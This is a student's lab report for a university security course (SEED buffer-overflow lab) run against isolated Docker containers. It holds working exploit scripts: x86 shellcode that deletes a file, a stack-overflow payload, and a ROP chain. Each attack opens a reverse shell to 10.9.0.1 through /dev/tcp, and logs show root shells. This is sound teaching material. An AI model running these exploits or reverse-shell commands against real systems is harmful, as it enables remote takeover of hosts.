

信息系统安全-LAB1

姓名：徐锦云

学号：23307130447

专业：信息安全

信息系统安全-LAB1

实验前准备

Task 0: Get familiar with Buffer-Overflow and Shellcode

题目要求

代码

测试结果

Task 1: Level-1 Attack

题目要求

代码

测试结果

Task 2: Level-2 Attack

题目要求

代码

测试结果

实验前准备

首先是换源操作：

```
● [10/13/25]seed@VM:~/.../server-code$ sudo mkdir -p /etc/docker
● [10/13/25]seed@VM:~/.../server-code$ sudo tee /etc/docker/daemon.json <<-'EOF'
> {
>   "registry-mirrors": [
>     "https://docker.m.daocloud.io",
>     "https://docker.imgdb.de",
>     "https://docker-0.unsee.tech",
>     "https://docker.hlmirror.com",
>     "https://cjie.eu.org"
>   ]
> }
> EOF
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://docker.imgdb.de",
    "https://docker-0.unsee.tech",
    "https://docker.hlmirror.com",
    "https://cjie.eu.org"
  ]
}
● [10/13/25]seed@VM:~/.../server-code$ sudo systemctl daemon-reload
● [10/13/25]seed@VM:~/.../server-code$ sudo systemctl restart docker
```

重新启动docker之后重复实验手册上的内容。

```
• [10/13/25]seed@VM:~/.../server-code$ docker-compose build
Building bof-server-L1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
small: Pulling from handsonsecurity/seed-ubuntu
da7391352a9b: Pull complete
14428a6d4bcd: Pull complete
2c2d948710f2: Pull complete
5d39fdfbe330: Pull complete
56b236c9d9da: Pull complete
1bb168ce59cc: Pull complete
588b6963c007: Pull complete
Digest: sha256:53d27ec4a356184997bd520bb2dc7c7ace102bfe57ecfc0909e3524aabf8a
0be
Status: Downloaded newer image for handsonsecurity/seed-ubuntu:small
---> 1102071f4a1d
Step 2/6 : COPY server /bof/
---> 125e05df38f1
Step 3/6 : ARG LEVEL
```

```
Step 4/6 : COPY stack-${LEVEL} /bof/stack
---> 1ee558c41374
Step 5/6 : WORKDIR /bof
---> Running in 56e0708805fa
Removing intermediate container 56e0708805fa
---> d83b729b8474
Step 6/6 : CMD ./server
---> Running in 6c9d14c7a0ab
Removing intermediate container 6c9d14c7a0ab
---> 163a37ba1522
```

```
Successfully built 163a37ba1522
Successfully tagged seed-image-bof-server-2:latest
```

```
○ [10/13/25]seed@VM:~/.../server-code$ docker-compose up
server-2-10.9.0.6 is up-to-date
server-1-10.9.0.5 is up-to-date
Attaching to server-2-10.9.0.6, server-1-10.9.0.5
```

完毕。

Task 0: Get familiar with Buffer-Overflow and Shellcode

题目要求

修改 shellcode_32.py 中的命令字符串，使 shellcode 执行删除文件命令，并验证删除成功。

代码

```
#!/usr/bin/python3
import sys

# Task 1: 编写shellcode并验证执行
# 这个shellcode使用execve系统调用来执行指定的命令

# 32位x86汇编代码，用于执行execve系统调用
# 这段代码的详细解释：
shellcode = (
    # 第一部分：跳转和获取地址
    "\xeb\x29"      # jmp 0x2b - 跳转到字符串位置
    "\x5b"          # pop ebx - 将字符串地址弹出到ebx寄存器

    # 第二部分：设置参数
    "\x31\xc0"      # xor eax, eax - 将eax寄存器清零
    "\x88\x43\x09"  # mov [ebx+0x9], al - 将字符串中的'*'替换为0
    "\x88\x43\x0c"  # mov [ebx+0xc], al - 将字符串中的'*'替换为0
    "\x88\x43\x47"  # mov [ebx+0x47], al - 将字符串中的'*'替换为0

    # 第三部分：设置argv数组
    "\x89\x5b\x48"  # mov [ebx+0x48], ebx - argv[0] = "/bin/bash"的地址
    "\x8d\x4b\x0a"  # lea ecx, [ebx+0xa] - ecx = "-c"的地址
    "\x89\x4b\x4c"  # mov [ebx+0x4c], ecx - argv[1] = "-c"的地址
    "\x8d\x4b\x0d"  # lea ecx, [ebx+0xd] - ecx = 命令字符串的地址
    "\x89\x4b\x50"  # mov [ebx+0x50], ecx - argv[2] = 命令字符串的地址
    "\x89\x43\x54"  # mov [ebx+0x54], eax - argv[3] = NULL (eax=0)

    # 第四部分：准备系统调用
    "\x8d\x4b\x48"  # lea ecx, [ebx+0x48] - ecx = argv数组的地址
    "\x31\xd2"      # xor edx, edx - edx = 0 (环境变量为NULL)
    "\x31\xc0"      # xor eax, eax - eax = 0
    "\xb0\x0b"      # mov al, 0xb - eax = 11 (execve系统调用号)
    "\xcd\x80"      # int 0x80 - 执行系统调用

    # 第五部分：跳转回开始位置
    "\xe8\xd2\xff\xff\xff" # call 0x0 - 调用开始位置

    # 第六部分：字符串数据
    "/bin/bash*"    # 程序路径，*会被替换为0
    "-c*"           # 参数，*会被替换为0

    # 命令字符串 - 修改为删除文件命令
    # 注意：*标记了字符串结束位置，会被shellcode替换为0
    # 删除一个测试文件，并显示删除结果
    "/bin/rm -f /tmp/test_file.txt; echo deleted successfully*"

    # 占位符 - 这些会被shellcode替换为实际的地址
    "AAAA"          # 占位符，将被替换为argv[0]的地址
    "BBBB"          # 占位符，将被替换为argv[1]的地址
    "CCCC"          # 占位符，将被替换为argv[2]的地址
    "DDDD"          # 占位符，将被替换为argv[3]的地址(NULL)
).encode('latin-1')

# 创建一个200字节的缓冲区来存储shellcode
content = bytearray(200)
# 将shellcode复制到缓冲区开头
content[0:] = shellcode
```

```
# 将shellcode保存到文件中，供call_shellcode.c使用
with open('codefile_32', 'wb') as f:
    f.write(content)

print("Shellcode已生成并保存到 codefile_32")
print("使用以下命令验证shellcode:")
print("make && ./a32.out")
```

测试结果

```
[10/13/25]seed@VM:~/.../shellcode$ echo "This is a test file for deletion" > /tmp/test_file.txt
[10/13/25]seed@VM:~/.../shellcode$ ls -la /tmp/test_file.txt
-rw-rw-r-- 1 seed seed 33 Oct 13 06:18 /tmp/test_file.txt
[10/13/25]seed@VM:~/.../shellcode$ python3 shellcode_32.py
Shellcode已生成并保存到 codefile_32
使用以下命令验证shellcode:
make && ./a32.out
[10/13/25]seed@VM:~/.../shellcode$ make && ./a32.out
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
deleted successfully*A
[10/13/25]seed@VM:~/.../shellcode$ ls -la /tmp/test_file.txt
ls: cannot access '/tmp/test_file.txt': No such file or directory
[10/13/25]seed@VM:~/.../shellcode$
```

由此可知，文件删除成功，本题结束。

Task 1: Level-1 Attack

题目要求

1. 攻击目标：运行在 10.9.0.5:9090 的32位程序 stack
2. 漏洞利用：利用 strcpy 的缓冲区溢出漏洞
3. 最终目标：建立反向shell（reverse shell），获取远程服务器的控制权

代码

```
#!/usr/bin/python3
import sys

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1"
    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBB" # Placeholder for argv[1] --> "-c"
    "CCCC" # Placeholder for argv[2] --> the command string
    "DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill with NOPS
```

```

content = bytearray(0x90 for i in range(517))

# Put shellcode - 尝试放在payload的中间位置
start = 200
content[start:start + len(shellcode)] = shellcode

# 关键: 精确的偏移量计算
buffer_addr = 0xffffd718

# 由于buffer到ebp是112字节, 所以返回地址在ebp+4的位置
# 所以偏移量是 112 + 4 = 116
offset = 116

# 返回地址指向NOP雪橇中的某个位置
ret = buffer_addr + 150 # 指向NOP雪橇中间

# 写入返回地址
content[offset:offset + 4] = (ret).to_bytes(4, byteorder='little')

with open('badfile', 'wb') as f:
    f.write(content)

print(f"Exploit configured with:")
print(f"  Buffer: 0x{buffer_addr:08x}")
print(f"  Return: 0x{ret:08x}")
print(f"  Offset: {offset}")
print(f"  Shellcode at: {start}")

```

```

#!/usr/bin/python3
import sys

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # 反向shell命令 - 连接到攻击者机器10.9.0.1的9090端口
    "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1"
    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBB" # Placeholder for argv[1] --> "-c"
    "CCCC" # Placeholder for argv[2] --> the command string
    "DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

content = bytearray(200)
content[0:] = shellcode

with open('codefile_32', 'wb') as f:
    f.write(content)

```

测试结果

```
[10/17/25]seed@VM:~/.../Labsetup$ sudo /sbin/sysctl -w kernel.randomize_va
=0
kernel.randomize_va_space = 0
[10/17/25]seed@VM:~/.../Labsetup$ docker-compose up
Starting server-2-10.9.0.6 ... done
Starting server-1-10.9.0.5 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd788
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd718
server-1-10.9.0.5 | ==== Returned Properly ====
```

```
[10/17/25]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.5 9090
^C
```

```
[10/17/25]seed@VM:~/.../attack-code$ nc -lvp 9090
Listening on 0.0.0.0 9090
```

```
[10/17/25]seed@VM:~/.../attack-code$ python3 reverse_shellcode_32.py
[10/17/25]seed@VM:~/.../attack-code$ ./expolit.py
bash: ./expolit.py: No such file or directory
[10/17/25]seed@VM:~/.../attack-code$ ./exploit.py
Exploit configured with:
  Buffer: 0xffffd718
  Return: 0xffffd7ae
  Offset: 116
  Shellcode at: 200
[10/17/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
█
```

```
[10/17/25]seed@VM:~/.../attack-code$ nc -lvp 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 46314
root@9cdfbf205204:/bof# whoami
whoami
root
root@9cdfbf205204:/bof# host
host
bash: host: command not found
root@9cdfbf205204:/bof# hostname
hostname
9cdfbf205204
root@9cdfbf205204:/bof# id
id
uid=0(root) gid=0(root) groups=0(root)
root@9cdfbf205204:/bof# █
```

结果正确，本题结束。

Task 2: Level-2 Attack

题目要求

使用ROP进行攻击，建立反向shell。

为了使内存中永远有相关指令：

```
● [10/19/25]seed@VM:~/.../Labsetup$ sudo apt install python3-pip
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
  libfprint-2-tod1
Use 'sudo apt autoremove' to remove it.
The following additional packages will be installed:
  python-pip-whl
The following packages will be upgraded:
  python-pip-whl python3-pip
2 upgraded, 0 newly installed, 0 to remove and 572 not upgraded.
Need to get 2,039 kB of archives.
After this operation, 14.3 kB of additional disk space will be used.

● [10/19/25]seed@VM:~/.../Labsetup$ sudo pip install ropgadget
Collecting ropgadget
  Downloading ropgadget-7.7-py3-none-any.whl (32 kB)
Collecting capstone>=5.0.1
  Downloading capstone-5.0.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.5 MB)
)
  |████████████████████████████████████████| 1.5 MB 1.4 MB/s
Collecting importlib-resources; python_version < "3.9"
  Downloading importlib_resources-6.4.5-py3-none-any.whl (36 kB)
Collecting zipp>=3.1.0; python_version < "3.10"
  Downloading zipp-3.20.2-py3-none-any.whl (9.2 kB)
Installing collected packages: zipp, importlib-resources, capstone, ropgadget
Successfully installed capstone-5.0.6 importlib-resources-6.4.5 ropgadget-7.7 zipp-3.20.2
```

熟悉代码：

```
● [10/19/25]seed@VM:~/.../Labsetup$ cd server-code
● [10/19/25]seed@VM:~/.../server-code$ ROPgadget --binary stack-L2 --only "pop|ret" | gr
ep eax
0x080a58ca : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805ebc8 : pop eax ; pop edx ; pop ebx ; ret
0x080b004a : pop eax ; ret
0x080a58c9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
```

首先：

```
cd server-code

# 1. 查找所有ROP gadget
ROPgadget --binary stack-L2 > all_gadgets.txt

# 2. 专门查找pop指令
ROPgadget --binary stack-L2 --only "pop|ret" > pop_gadgets.txt

# 3. 查找系统调用
objdump -d stack-L2 | grep -B5 -A5 "int.*0x80" > syscalls.txt

# 4. 查找字符串
strings stack-L2 | grep -i bin > strings.txt
ROPgadget --binary stack-L2 --string "/bin/sh" > bin_sh_string.txt

# 5. 查看内存布局
```



```
readelf -S stack-L2 > sections.txt
```

```
[10/19/25]seed@VM:~/.../Labsetup$ cd server-code
[10/19/25]seed@VM:~/.../server-code$ ROPgadget --binary stack-L2 > all_gadgets.txt
[10/19/25]seed@VM:~/.../server-code$ ROPgadget --binary stack-L2 --only "pop|ret" > pop_gadgets.txt
[10/19/25]seed@VM:~/.../server-code$ objdump -d stack-L2 | grep -B5 -A5 "int.*0x80" > syscalls.txt
[10/19/25]seed@VM:~/.../server-code$ strings stack-L2 | grep -i bin > strings.txt
[10/19/25]seed@VM:~/.../server-code$ ROPgadget --binary stack-L2 --string "/bin/sh" > bin_sh_string.txt
[10/19/25]seed@VM:~/.../server-code$ readelf -S stack-L2 > sections.txt
```

得到的结果是：别的pop指令都能找到，但是没有pop ecx（即使模糊查找也没有）；如果想要通过pop来解决问题，就很麻烦；因此可以换成指令xor；

原因：ecx寄存器我们要把它置0，所以可以找那些加减异或运算的指令，比如先add ecx 1；ret然后再sub ecx, 1；ret

只要最后ecx是0就行了，没必要局限于pop，所以现在尝试针对ecx，从xor下手。

代码

为了避免截断，我找了如下：

0x0805ebc8 : pop eax ; pop edx ; pop ebx ; ret

0x08098930 : mov eax, 7 ; ret

0x08098988 : mov ecx, eax ; mov eax, ecx ; ret

0x08073d56 : xchg edx, eax ; ret

0x08098897 : add eax, 2 ; ret

0x0804fe70 : xor eax, eax ; ret

0x0804a4d2 : int 0x80

```
#!/usr/bin/python3
import sys

# ROP Gadgets
POP_EAX = 0x080b003a          # pop eax ; ret
POP_EDX_EBX = 0x0805ebb9      # pop edx ; pop ebx ; ret
ADD_EAX = 0x080988a0          # add eax, 3 ; ret
ADD_2_EAX = 0x08098887        # add eax, 2 ; ret
MOV_EAX_7 = 0x08098920        # mov eax, 7 ; ret
XOR_EAX_EAX = 0x0804fe60      # xor eax, eax ; ret
XOR_ECX_ECX_RET = 0x0804a83f  # xor ecx, ecx ; int 0x80
MOV_ECX_EAX = 0x08098978      # mov ecx, eax ; mov eax, ecx ; ret
xchg_edx_eax_ret = 0x08073d56 # xchg edx, eax ; ret
INT_0x80 = 0x0804a4c2         # int 0x80
POP_EBX = 0x08049022          # pop ebx ; ret
POP_EAX_EDX_EBX = 0x0805ebb8  # pop eax ; pop edx ; pop ebx ; ret
XCHG_EDX_EAX = 0x08073d46     # xchg edx, eax ; ret

# 目标缓冲区地址（需要从程序输出中获取）
buf_addr = 0xffffd168 # 需要替换为实际地址
main_str_addr = buf_addr + 0x49f
bash_addr = main_str_addr + 300
zero_addr = main_str_addr + 400
```



```

# 构建payload
content = bytearray(0x90 for i in range(517))

# 在缓冲区中布置数据
# 1. 放置字符串
bash_str = b"/bin/bash\x00"
content[300:300+len(bash_str)] = bash_str

content[310:313] = b"-c\x00"

cmd_str = b"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.9.0.1/9090 0>&1'\x00"
content[313:313+len(cmd_str)] = cmd_str

zero_str = b"\x00\x00\x00\x00"
content[400:404] = zero_str

# 2. 放置argv数组内容
content[200:204] = (bash_addr).to_bytes(4, byteorder='little') # argv[0]
content[204:208] = (main_str_addr + 310).to_bytes(4, byteorder='little') # argv[1]
("-c")
content[208:212] = (main_str_addr + 313).to_bytes(4, byteorder='little') # argv[2]
(命令)
content[212:216] = (0x00000000).to_bytes(4, byteorder='little') # argv[3] =
NULL

# ROP链布局
offset = 116 # 缓冲区大小 + 4

# 构建ROP链:
# 1. 通过pop eax; pop edx; pop ebx; ret 先设置ebx为bash_str
content[offset:offset + 4] = (POP_EAX_EDX_EBX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (main_str_addr + 200).to_bytes(4, byteorder='little') #
设置eax为main_str_addr + 200
offset += 4
content[offset:offset + 4] = (main_str_addr + 200).to_bytes(4, byteorder='little') #
随意填充edx(因为后续将要覆盖edx)
offset += 4
content[offset:offset + 4] = (bash_addr).to_bytes(4, byteorder='little') # 设置ebx为
bash_str
offset += 4

# 2. 将eax的值赋给ecx
content[offset:offset + 4] = (MOV_ECX_EAX).to_bytes(4, byteorder='little') # 将
eax的值赋给ecx, ecx 指向argv数组(即main_str_addr + 200)
offset += 4

# 3. 设置edx = 0
content[offset:offset + 4] = (XOR_EAX_EAX).to_bytes(4, byteorder='little') # 将
eax清零
offset += 4
content[offset:offset + 4] = (XCHG_EDX_EAX).to_bytes(4, byteorder='little') # 将
eax (0) 复制给edx
offset += 4

# 3. 设置eax=0x0b (execve系统调用号)

```

```

# 通过mov eax, 7; add eax, 2; add eax, 2, 将eax设置为0x0b (7+2+2=11)
content[offset:offset + 4] = (XOR_EAX_EAX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (MOV_EAX_7).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (ADD_2_EAX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (ADD_2_EAX).to_bytes(4, byteorder='little')
offset += 4

# 5. 执行系统调用
content[offset:offset + 4] = (INT_0X80).to_bytes(4, byteorder='little')
offset += 4

# 写入文件
with open('badfile', 'wb') as f:
    f.write(content)

```

测试结果

```

sudo /sbin/sysctl -w kernel.randomize_va_space=0
docker-compose up

```

```

echo hello | nc 10.9.0.5 9090
^C
nc -lvnp 9090

```

```

./rop.py
cat badfile | nc 10.9.0.6 9090

```

```

kernel.randomize_va_space = 0
[11/11/25]seed@VM:~/.../server-code$ docker-compose up
Starting server-2-10.9.0.6 ... done
Starting server-1-10.9.0.5 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xfffffd1d8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xfffffd168
server-1-10.9.0.5 | ==== Returned Properly ====

```

```
[11/11/25]seed@VM:~/.../server-code$ echo hello | nc 10.9.0.5 9090
^C
[11/11/25]seed@VM:~/.../server-code$ nc -lvnp 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 51242
root@dd16c1bfeb43:/bof# whoami
whoami
root
root@dd16c1bfeb43:/bof# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dd16c1bfeb43:/bof#
```

```
[11/11/25]seed@VM:~/.../server-code$ ./rop.py
bash: ./rop.py: Permission denied
[11/11/25]seed@VM:~/.../server-code$ chmod +x rop.py
[11/11/25]seed@VM:~/.../server-code$ ./rop.py
[11/11/25]seed@VM:~/.../server-code$ cat badfile | nc 10.9.0.6 9090
█
```